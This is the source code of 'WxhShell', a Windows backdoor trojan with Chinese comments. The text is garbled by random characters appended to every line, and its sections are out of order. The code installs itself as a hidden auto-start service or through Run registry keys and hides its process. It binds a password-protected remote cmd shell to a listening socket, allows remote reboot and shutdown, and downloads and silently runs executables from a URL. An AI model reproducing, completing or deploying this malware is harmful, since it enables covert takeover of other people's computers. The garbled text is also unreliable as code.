    closesocket(wsh); $n>|9(K8  
    ExitThread(0); ?|Y/&/;%I  
    } f7NK0kuA  
    break; =23JE'^=  
    } M`^;h:DN^  
  // 关机  0].*eM  
  case 'd': {  lt%bGjk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `hJSo?G>  
    if(Boot(SHUTDOWN)) WPLM*]6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >5G2!Ns'  
    else { $#E?`At{I  
    closesocket(wsh); CDOqdBQ  
    ExitThread(0); N4y$$.uv2  
    } M8j%bmd(,  
    break; $$QbcnOf$  
    } 2\ 3}y(  
  // 获取shell (NPDgR/  
  case 's': { qC<!!473?  
    CmdShell(wsh); $7 1(g$6#  
    closesocket(wsh); ^D` ARH  
    ExitThread(0); QQ*yQ\  
    break; @ChEkTn  
  } d9@!se9&Z  
  // 退出 K& / rzs-  
  case 'x': { U)mg]o-VE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m E<n=g=  
    CloseIt(wsh); `}uOl C]I  
    break; 3e~X`K1Q<  
    } P5{|U"Y_  
  // 离开 J<8~w; i  
  case 'q': { +o&&5&HR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %*d(1?\o  
    closesocket(wsh); DxX333vC  
    WSACleanup(); 57:Wh= x  
    exit(1); zyey5Z:7  
    break; J*@(rb#G  
        } W '54g$T  
  } 2x3'm  
  } 7k beAJ+{  
ZLK@x.=  
  // 提示信息 )'\pa2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %*4Gx +b  
} w783e  
  } n- cEa/g  
49Sq)jd<  
  return; _ElA\L4g%  
} mG;Gt=4  
B/@9.a.c  
// shell模块句柄 z>_jC+  
int CmdShell(SOCKET sock) P8#;a  
{ GUUVE@Z  
STARTUPINFO si; :m|%=@]`  
ZeroMemory(&si,sizeof(si)); 7vBB <\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \gd.Bl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _Se~bkw?v  
PROCESS_INFORMATION ProcessInfo; -t28"jyj  
char cmdline[]="cmd"; 'W0?XaEk-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RJMrSz$  
  return 0; P(N$U^pj  
} F,B,D^WD  
S(;3gQ77  
// 自身启动模式 `9%Q2Al  
int StartFromService(void) Mq7d*Bgb  
{ [;5?=X,LD  
typedef struct e [D'0L  
{ >{_`J  
  DWORD ExitStatus; UMe@[E=  
  DWORD PebBaseAddress; ;1`NsYI2  
  DWORD AffinityMask; /W !A^  
  DWORD BasePriority; n~/#~VTVe  
  ULONG UniqueProcessId; @WuB&uF=d  
  ULONG InheritedFromUniqueProcessId; CfFNk "0{  
}   PROCESS_BASIC_INFORMATION; _SS6@`X  
"DV.%7*^  
PROCNTQSIP NtQueryInformationProcess; Umwd <o  
3e)3t`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v6{qKpU#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UnjUA!v  
ti`R  
  HANDLE             hProcess; (^h47kY  
  PROCESS_BASIC_INFORMATION pbi; B@w Q [  
;D5B$ @W>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J('p'SlI  
  if(NULL == hInst ) return 0; r{m"E^K,  
8e_ITqV%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =A,32&;@N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V0p@wG3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q^q G=  
a ^+b(&;k  
  if (!NtQueryInformationProcess) return 0; #N-NI+qX  
qx! NU}6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GnbXS>  
  if(!hProcess) return 0; 'c#ZW| A  
w}Q|*!?_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &HKrmFgX{  
xe)< )y  
  CloseHandle(hProcess); wzAp`Zs2Dm  
7S<Z&1(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h#bpog  
if(hProcess==NULL) return 0; 1a {~B#  
C._I\:G^  
HMODULE hMod; 3mWd?!+m=  
char procName[255]; #mqz*=L3  
unsigned long cbNeeded; NJ-cP m  
uQ9/7"S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }-{l(8-  
JnX@eBNV  
  CloseHandle(hProcess); \IQP` JR  
45` Gv  
if(strstr(procName,"services")) return 1; // 以服务启动 5gq3 >qo  
{rr ED  
  return 0; // 注册表启动 ~Ra1Zc$o:  
} ilv6A9/  
Vxif0Bx&/d  
// 主模块 bHcb.;<  
int StartWxhshell(LPSTR lpCmdLine) AR\1w'  
{ ;(3fr0cr:  
  SOCKET wsl; h+$1+Es  
BOOL val=TRUE; g5TXs^g  
  int port=0; RB'12^[  
  struct sockaddr_in door; 2S^xqvh  
fU~>A-P  
  if(wscfg.ws_autoins) Install(); {p UOu8`Z  
c4CBpi?}  
port=atoi(lpCmdLine); ,*.C''  
-W>zON|l  
if(port<=0) port=wscfg.ws_port; <wTkPErUG  
qv3L@"Ub  
  WSADATA data; rS9*_-NH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M3 8,SH<  
n15c1=gs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z x{\SU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qwx}e\=  
  door.sin_family = AF_INET; h B<.u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y VTY{>Q  
  door.sin_port = htons(port); C<A82u;t%@  
\@4QG.3&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zqYfgV  
closesocket(wsl); d; @Kz^  
return 1; 9a)D8  
} Db yy H_  
_p{ag 1gP  
  if(listen(wsl,2) == INVALID_SOCKET) { 'dj}- Rs  
closesocket(wsl); T$%u=$E%F  
return 1; 0t 7yK  
} Jg k@ti.}Z  
  Wxhshell(wsl); yB}y'5  
  WSACleanup(); X4i$,$C  
N|q:wyS|  
return 0; vzaxi;S<  
fE)+9!  
} s4SR6hBO  
ZvNXfC3Ia  
// 以NT服务方式启动 oq]KOj[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gzzPPd,hd  
{ c#9 zw[y-L  
DWORD   status = 0; sr#, S(p  
  DWORD   specificError = 0xfffffff; &nPv%P,e  
=KT7ZSTV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NLb/Bja  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D'O[0?N"g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z[qM2  
  serviceStatus.dwWin32ExitCode     = 0; hFa\x5I5  
  serviceStatus.dwServiceSpecificExitCode = 0; CNcH)2Mk  
  serviceStatus.dwCheckPoint       = 0; 0e8)*2S  
  serviceStatus.dwWaitHint       = 0; m{Q{ qJ5>  
_F^|n}Qbj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6@o_MtI  
  if (hServiceStatusHandle==0) return; Jb$PlOQ  
OAw/  
status = GetLastError(); $Ry NM2YI  
  if (status!=NO_ERROR) /[nt=#+   
{ 1aYO:ZPy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :'GTCo$3  
    serviceStatus.dwCheckPoint       = 0; K r]!BI?z  
    serviceStatus.dwWaitHint       = 0;  =sG(l  
    serviceStatus.dwWin32ExitCode     = status; ,`+y4Z6`W2  
    serviceStatus.dwServiceSpecificExitCode = specificError; RW>Z~Nj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? dSrY  
    return; v-G(bw3  
  } X+ iA"B  
f$V']dOj1q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {br4B7b  
  serviceStatus.dwCheckPoint       = 0; =]W{u`   
  serviceStatus.dwWaitHint       = 0; 5bmtUIj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )IZ$R*Y{  
} # FaR?L![Y  
!;CY @=  
// 处理NT服务事件,比如:启动、停止 -oF4mi8S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) shn`>=0.&  
{ FG#E?G  
switch(fdwControl) 5+%BZ  
{ zCvR/  
case SERVICE_CONTROL_STOP: m/Yi;>I(  
  serviceStatus.dwWin32ExitCode = 0; 'zT/ x`V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GUat~[lUrj  
  serviceStatus.dwCheckPoint   = 0; !c1 E  
  serviceStatus.dwWaitHint     = 0; ew?UHV  
  { S2jo@bp!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NX)7g}S  
  } gWgK  
  return; qLYv=h$,  
case SERVICE_CONTROL_PAUSE: d2X#_(+d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V=(4 c  
  break;  ]g?G 0m  
case SERVICE_CONTROL_CONTINUE: _IpW &  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,PN>,hFL  
  break; ={maCYlE.  
case SERVICE_CONTROL_INTERROGATE: !JYDg  
  break; mg >oB/,'Z  
}; sFS_CyN!7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Vgjd>  
}  2 H^9Qd  
$8i t&/JP,  
// 标准应用程序主函数 f"Iv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M;Vx[s,#,  
{ \mc~w4B[)3  
&5d>jEaB}  
// 获取操作系统版本 5QmF0z)wR  
OsIsNt=GetOsVer(); "t_]Qu6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hr6f}2  
toIljca  
  // 从命令行安装 >!WJ{M0  
  if(strpbrk(lpCmdLine,"iI")) Install(); uF(- h~  
pM VeUK?  
  // 下载执行文件 ;yk@`<  
if(wscfg.ws_downexe) { 4dfe5\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QG9 2^  
  WinExec(wscfg.ws_filenam,SW_HIDE); @~gz-l^$  
} RI*Q-n{  
2! wz#EC  
if(!OsIsNt) { 2N)vEUyDV  
// 如果时win9x,隐藏进程并且设置为注册表启动 k7W8$8 v  
HideProc(); 8%nTDSp&t  
StartWxhshell(lpCmdLine); Hh!x&;x}  
} 3*arW|Xm  
else aUA+%  
  if(StartFromService()) T 86}^=-5  
  // 以服务方式启动 G0*$&G0nb  
  StartServiceCtrlDispatcher(DispatchTable); ,sLV6DM  
else VJr?` eY4  
  // 普通方式启动 SH}O?d\Q:  
  StartWxhshell(lpCmdLine); Y}f%/vus  
S%%>&^5  
return 0; CB|z{(&N  
} FP9ZOoog  
l_f"}l  
H uE*jQ  
>/'WU79TYE  
=========================================== ~kN6Hr*X  
s` S<BX7  
*Li;:b"t  
Uw)K [T  
"sHD8TUX  
Qgf_  
" ied<1[~S  
R`$Odplh>  
#include <stdio.h> rqa;MPl  
#include <string.h> !EKF^n6  
#include <windows.h> : wn![<`3q  
#include <winsock2.h> $fh?(J  
#include <winsvc.h> ,[ Ytl  
#include <urlmon.h>  &$+yXN  
Jn:GqO  
#pragma comment (lib, "Ws2_32.lib") Y,&)%Eo<  
#pragma comment (lib, "urlmon.lib") Z3#3xG5pl  
"HYK~V  
#define MAX_USER   100 // 最大客户端连接数 92} , A`=  
#define BUF_SOCK   200 // sock buffer ZGp8$Y>r  
#define KEY_BUFF   255 // 输入 buffer Y+G4:  
ul% q6=f)  
#define REBOOT     0   // 重启 cc^V~-ph  
#define SHUTDOWN   1   // 关机 OK2wxf  
\{~x<<qFd  
#define DEF_PORT   5000 // 监听端口 v1)jZ.:  
a{u)~:/G  
#define REG_LEN     16   // 注册表键长度 w93yhV?  
#define SVC_LEN     80   // NT服务名长度 DsFrA]  
^|gN?:fA}  
// 从dll定义API =CqLZ$10  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @P@t/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !A<?nz Uv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g\jdR_/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >eU;lru2Q  
XVI+Y  
// wxhshell配置信息 'vCFT(C-  
struct WSCFG { p6ZKyi  
  int ws_port;         // 监听端口 .Wa6?r<g  
  char ws_passstr[REG_LEN]; // 口令 h"<rW7z  
  int ws_autoins;       // 安装标记, 1=yes 0=no *np%67=jO  
  char ws_regname[REG_LEN]; // 注册表键名 i@g6%V=  
  char ws_svcname[REG_LEN]; // 服务名 lFRgyEPH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w\\    
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P|64wq{B8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5$O@+W!?@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %_/_klxnO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?EtK/6dJZt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rN>f"/J |  
L;v#9^Fq  
}; sa*hoL18  
9vVYZ}HC  
// default Wxhshell configuration z1YC%Y|R  
struct WSCFG wscfg={DEF_PORT, 8cW]jm  
    "xuhuanlingzhe", `Y'}\>.#  
    1, $aVcWz %  
    "Wxhshell", UHxXa*HyI  
    "Wxhshell", GadD*psD2  
            "WxhShell Service", oFY'Ek;d  
    "Wrsky Windows CmdShell Service", jI y'mGaG  
    "Please Input Your Password: ", Q4Cw{2r  
  1, `VS/ Xyp  
  "http://www.wrsky.com/wxhshell.exe", 30B! hj$C  
  "Wxhshell.exe" XLOk+Fn  
    }; 3:76x  
%3~jg  
// 消息定义模块 N b+zP[C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1s1$J2LX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rVZk G,Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZgzrA&6  
char *msg_ws_ext="\n\rExit."; XV!P8n  
char *msg_ws_end="\n\rQuit."; :]?I|.a  
char *msg_ws_boot="\n\rReboot..."; )C <sj   
char *msg_ws_poff="\n\rShutdown..."; :x16N|z  
char *msg_ws_down="\n\rSave to "; |*8 J.H*r  
`+i<:,z-gs  
char *msg_ws_err="\n\rErr!"; U${dWxC  
char *msg_ws_ok="\n\rOK!"; &:Raf5G-E  
.PF~8@1ju  
char ExeFile[MAX_PATH]; m:K/ )v*  
int nUser = 0; A2htD!3  
HANDLE handles[MAX_USER]; E*k=8$Y  
int OsIsNt; G0<m3 Up  
CbwQ'c$}  
SERVICE_STATUS       serviceStatus; C~kw{g+|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !v$hqNt7  
Z(CzU{7c  
// 函数声明 V>z8 *28S.  
int Install(void); ky[FNgQ3n  
int Uninstall(void); P PmE.%_  
int DownloadFile(char *sURL, SOCKET wsh); {:!*1L  
int Boot(int flag); _d,_&7  
void HideProc(void); EK[~lIXg  
int GetOsVer(void); "-\I?k  
int Wxhshell(SOCKET wsl); .`iOWCS  
void TalkWithClient(void *cs); [_CIN  
int CmdShell(SOCKET sock); w 8T#~Dc  
int StartFromService(void); 91[(K'=&  
int StartWxhshell(LPSTR lpCmdLine); UKn>.,  
Dy0RZF4_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i?||R|>;"'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5Vf#(r f  
na>UFw7>*  
// 数据结构和表定义 02?y%  
SERVICE_TABLE_ENTRY DispatchTable[] = &@nI(PXv  
{ 8*6U4R  
{wscfg.ws_svcname, NTServiceMain}, T+Du/ERL  
{NULL, NULL} *<]ulR2  
}; Fb.wm   
UG 9uNgzQ/  
// 自我安装 %n T!u!#  
int Install(void) 0<nk>o  
{  iCa#OQ  
  char svExeFile[MAX_PATH]; jIg]?4bW[  
  HKEY key; @ 2Z{en?  
  strcpy(svExeFile,ExeFile); }eSaF@.  
CO-9-sQx  
// 如果是win9x系统,修改注册表设为自启动 AvH^9zEE(  
if(!OsIsNt) { qy/xJ>:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f D2. Zh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eUQrn>`  
  RegCloseKey(key); x7>' 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2I>X]r.S!1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MBp%TX!  
  RegCloseKey(key); }~y i6!w'  
  return 0; M;-PrJdyt  
    } 7S}NV7  
  } UM3}7|  
} &r do Mc;  
else { sA#}0>`3S  
^#KkO3  
// 如果是NT以上系统,安装为系统服务 2old})CLJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^e1@o\]  
if (schSCManager!=0) /&_$+Iun  
{ MA6(VII  
  SC_HANDLE schService = CreateService )pbsvR_  
  ( nD{o8;  
  schSCManager, O,x[6P54P  
  wscfg.ws_svcname, Uyj6Ij_Pj)  
  wscfg.ws_svcdisp, 58V`I5_  
  SERVICE_ALL_ACCESS, n#|ljC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _<qe= hie!  
  SERVICE_AUTO_START, #~BsI/m  
  SERVICE_ERROR_NORMAL, whxTCIV  
  svExeFile, .J"QW~g^  
  NULL, Uc^eIa@  
  NULL, )%dxfwd6  
  NULL, j 4!$[h  
  NULL, x8 _f/2&  
  NULL L 4V,y>  
  ); ose(#n40  
  if (schService!=0) nm Y_)s  
  { nl5A{ s  
  CloseServiceHandle(schService); #oW" 3L{,  
  CloseServiceHandle(schSCManager); 0Ta&o-e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -n FKP&P  
  strcat(svExeFile,wscfg.ws_svcname); 9kHVWDf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k<Qhw)M8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "ngULpb{R  
  RegCloseKey(key); JlR$"GU  
  return 0; ~@=(#tO.  
    } n+MWny  
  } + fS<YT  
  CloseServiceHandle(schSCManager); <-;/,uu  
} ,cE yV74  
} `,QcOkvbC  
_t&` T  
return 1; %e^GfZ  
} =gNPS 0H  
n&OM~Vs  
// 自我卸载 '.EO+1{a  
int Uninstall(void) % b fe_k(  
{ d^MRu#]  
  HKEY key; 'b)qP|  
DK)T2{:  
if(!OsIsNt) { v;soJlxF~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hh8Grl;  
  RegDeleteValue(key,wscfg.ws_regname); ]-8WM5\qJM  
  RegCloseKey(key); @@JyCUd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *:bexDH  
  RegDeleteValue(key,wscfg.ws_regname); P9`R~HO'`  
  RegCloseKey(key); s@Dln Du .  
  return 0; B6=?Qp/f  
  } v%:VV*MxF  
} V'hb 4}@  
} $vrkxn  
else { c+ D <  
wXjidOd $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \?SvO  
if (schSCManager!=0) e,N}z  
{ WP2=1"X63  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :*f  2Bn  
  if (schService!=0) @}=(4%  
  { sSd/\Ap  
  if(DeleteService(schService)!=0) { w4(L@1  
  CloseServiceHandle(schService); FA%_jM  
  CloseServiceHandle(schSCManager); E\|nP~;~F9  
  return 0; +F-EgF+J  
  } b7XB l  
  CloseServiceHandle(schService); 4 km^S9  
  } 2n)?)w]!M  
  CloseServiceHandle(schSCManager); p^CTHk_|  
} #x;,RPw5  
}  />Q}0H g  
\yl|*h3  
return 1; @- }*cQ4u?  
} {j=`  
fuzB;Ea  
// 从指定url下载文件 P q$0ih  
int DownloadFile(char *sURL, SOCKET wsh) ;$W HTO(  
{ nl qn:[BU  
  HRESULT hr; x-"8V(  
char seps[]= "/"; Z:dp/M}  
char *token; 0z'GN#mT5  
char *file; S=(<m%f  
char myURL[MAX_PATH]; Y=p!xr>  
char myFILE[MAX_PATH]; h);^4cU  
M?!@L:b[  
strcpy(myURL,sURL); ^|H={pd'c0  
  token=strtok(myURL,seps); #l ZK_N|1x  
  while(token!=NULL) N+'j on}U  
  { _ Ao$)Gu)  
    file=token; "$XX4w M  
  token=strtok(NULL,seps); sxsb)a  
  } zw[' hqW  
f. "\~  
GetCurrentDirectory(MAX_PATH,myFILE); Nai5!_'  
strcat(myFILE, "\\"); CJ* D  
strcat(myFILE, file); _Z23lF 9  
  send(wsh,myFILE,strlen(myFILE),0); 8LbwEKl  
send(wsh,"...",3,0); )\|+G5#`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]QhTxrF"  
  if(hr==S_OK) W7^[W.  
return 0; 5BJ E  
else -~mgct5  
return 1; $#q`Y+;L2  
#L~i|(=U5  
} &)Xc'RQ.C  
IdQ./@?  
// 系统电源模块 X/yq<_ g  
int Boot(int flag) p&h?p\IF  
{ z Fo11;*D  
  HANDLE hToken; f<NR6],}  
  TOKEN_PRIVILEGES tkp; f#= c=e-A  
G 5;6q  
  if(OsIsNt) { ?@ F2Kv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3''S x8p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]1|P|Jp  
    tkp.PrivilegeCount = 1; hq)1YO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'v"=   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D7;9D*o\  
if(flag==REBOOT) { $@D a|d4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g1s%x=7/  
  return 0; #;$]M4  
} pFvu,Q"  
else { X H-_tvB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $VuXr=f}  
  return 0; "j@\a)a  
} 5&ku]l+  
  } K]hp-QK<  
  else { $"r9U|6kk  
if(flag==REBOOT) { c-sjYJXKM*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2;8m0+tl  
  return 0; `gX@b^  
} 1^!SuAA@  
else { >Icr4?zq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `#N/]4(j  
  return 0; |_V(^b}  
} QO2cTk m  
} y0%1YY  
q`q;og `  
return 1; rO'DT{Yt  
} 5~L]zE  
9 r!zYZ`)  
// win9x进程隐藏模块 |A%9c.DG.  
void HideProc(void)  lN,?N{6s  
{ j]Jgz<  
FACw;/rW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y@UkP+{f=  
  if ( hKernel != NULL ) j3gDGw;  
  { UEU/505  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vADiW~^Q^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #c^V %  
    FreeLibrary(hKernel); *m~-8_ >;  
  } Vw;Z0_C  
[_,as  
return; ~HZdIPcC  
} aD^$v  
Smr{+m a  
// 获取操作系统版本 3v/B*M VI  
int GetOsVer(void) OT9]{|7  
{ zLpCKndj  
  OSVERSIONINFO winfo; K~N$s "Qx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &mwd0%4  
  GetVersionEx(&winfo); E/P~HE{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O>~,RI!  
  return 1; i%hCV o  
  else WsI`!ez;D  
  return 0; !@xO]Jwv  
} Vy\Vpp  
-V2\s  
// 客户端句柄模块 l<6u@,%s  
int Wxhshell(SOCKET wsl) @(3F4Z.i%.  
{ >f(?Mxh2  
  SOCKET wsh; k }=<51c  
  struct sockaddr_in client; Dac)`/  
  DWORD myID; b 7UJ  
z p E|  
  while(nUser<MAX_USER) apvcWF%  
{ T] zEcx+e  
  int nSize=sizeof(client); %FO{:@CH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OtG\Uw8  
  if(wsh==INVALID_SOCKET) return 1; . %RM8  
b)LT[>f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a`xq h2P  
if(handles[nUser]==0) #B `?}a=  
  closesocket(wsh); B,%Vy!o  
else dY*q[N/pO  
  nUser++; kv+%  
  } sV\_DP/l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C]`uC^6g  
$Ome]+0  
  return 0; c8l>OS5i3_  
} j4.wd RK  
+iVEA(0&$  
// 关闭 socket fz&B$1;8  
void CloseIt(SOCKET wsh) OQVrg2A%(  
{ }9~^}99}  
closesocket(wsh); I6>J.6luF9  
nUser--; RK3y q$  
ExitThread(0); $l7^-SK`E  
} 8Zv``t61  
uqMw-f/  
// 客户端请求句柄 $ [gN#QW%  
void TalkWithClient(void *cs) (eHyas %X  
{ Vwkvu&4  
/:{%X(8  
  SOCKET wsh=(SOCKET)cs; O'y8q[2KE  
  char pwd[SVC_LEN]; i+_LKHQN  
  char cmd[KEY_BUFF]; SQKhht`M  
char chr[1]; dmFn0J-\  
int i,j; NYm"I`5w  
!`DRJ)h  
  while (nUser < MAX_USER) {  T]#V  
<`H0i*|Ued  
if(wscfg.ws_passstr) { ll:UIxx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZnG.::&:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V Z(/g"9  
  //ZeroMemory(pwd,KEY_BUFF);  bGRt  
      i=0; qQ@| Cj  
  while(i<SVC_LEN) { 9U8M|W|d  
hW^,' m  
  // 设置超时 x 7j#@C  
  fd_set FdRead; %)ho<z:7U  
  struct timeval TimeOut; K,b M9>}  
  FD_ZERO(&FdRead); 0-. d{P  
  FD_SET(wsh,&FdRead); r*X,]\V0x  
  TimeOut.tv_sec=8;  Z>[7#;;  
  TimeOut.tv_usec=0; &Y@i:O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }X(&QZ7i`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +mQ5\14#  
=L6#=7hcl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m'4f'tbN  
  pwd=chr[0]; rzjVUPdnh  
  if(chr[0]==0xd || chr[0]==0xa) { c_lHj#A(l  
  pwd=0; )>volP  
  break; {SoI;o_>  
  } v4$/LUJZp  
  i++; 5]xuU.w'  
    } )uPJ? 2S9  
d,<ni"  
  // 如果是非法用户,关闭 socket NBikYxa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .~z'm$s1o  
} 9shf y4?k  
TP }a9-9?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fi+}hGj(r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .[|UNg  
&|yLTx  
while(1) { 7& M-^Ev  
{#,<)wFV\  
  ZeroMemory(cmd,KEY_BUFF); }^"6:;,  
|s8N  
      // 自动支持客户端 telnet标准   M`MxdwR  
  j=0; c-LzluWi  
  while(j<KEY_BUFF) { N& _~y|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z6!Up1  
  cmd[j]=chr[0]; Epzg|L1)  
  if(chr[0]==0xa || chr[0]==0xd) { f?3-C8 hU  
  cmd[j]=0; NOb`)qb  
  break; "oP^2|${  
  } T j$'B[cv  
  j++; !avol/*  
    } +WX/4_STV  
bO~y=Pa \  
  // 下载文件 mHD_cgKN  
  if(strstr(cmd,"http://")) { WT *"V<Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R@e'=z[%1  
  if(DownloadFile(cmd,wsh)) ^-o{3Q(w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /:dLqyQ_V  
  else }nmlN  
